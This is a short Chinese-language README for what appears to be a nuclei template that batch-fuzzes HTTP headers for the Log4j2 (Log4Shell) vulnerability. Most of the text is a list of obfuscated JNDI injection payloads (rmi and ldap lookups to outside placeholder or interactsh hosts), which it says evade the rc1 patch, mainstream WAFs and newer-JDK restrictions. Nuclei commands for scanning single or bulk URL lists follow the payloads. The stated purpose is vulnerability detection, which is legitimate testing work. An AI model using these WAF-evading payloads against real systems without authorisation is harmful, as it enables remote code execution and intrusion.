log4j2漏洞快速轻量级检测

针对 log4j来批量fuzz 请求头检测,有效检测一些头部存在的安全风险,nuclei默认使用interactsh的dnslog

为什么用这种,这种方法也是从蜜罐中获取到攻击组织最常用的方法,简单,有效

v2版本

添加了绕过rc1的poc 也同时能绕过常见主流waf拦截,还有高版本jdk绕过

${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${jndi:rmi://adsasd.asdasd.asdasd}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${lower:jnd}${upper:i}: ${lower:ldap}://interactsh-url}

使用

/nuclei -t log4j-fuzz-head-poc.yaml -u http://www.test.com  -o res.txt  -rl 10 单个检测  速率为10(速率不要太高)

/nuclei -t log4j-fuzz-head-poc.yaml -l urls.txt  -o res.txt   -rl 10   批量检测  速率为10(速率不要太高)
